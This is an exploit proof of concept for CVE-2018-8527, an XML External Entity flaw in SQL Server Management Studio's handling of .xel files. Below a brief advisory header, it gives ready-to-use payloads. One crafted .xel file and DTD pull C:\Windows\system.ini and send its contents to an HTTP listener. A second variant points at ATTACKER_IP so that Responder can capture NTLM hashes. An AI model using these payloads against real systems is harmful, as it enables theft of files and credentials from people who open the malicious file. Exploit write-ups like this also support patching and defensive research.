# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
# CVE: CVE-2018-8527
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser
# to access the URI and embed the contents back into the XML document for further processing. An attacker
# can leverage this vulnerability to disclose information in the context of the current process.
# [Exploit/POC]
python -m SimpleHTTPServer (listens Port 8000)
"evil.xel" (Extended Event Log File)
<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
"payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;
# OR
# Steal NTLM hashes
# Kali linux
/usr/share/responder/tools
responder -I eth0 -rv
"evil.xel"
<?xml version="1.0"?>
<!DOCTYPE dirty0tis [
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>
Result: Forced authentication and NTLM hash captured
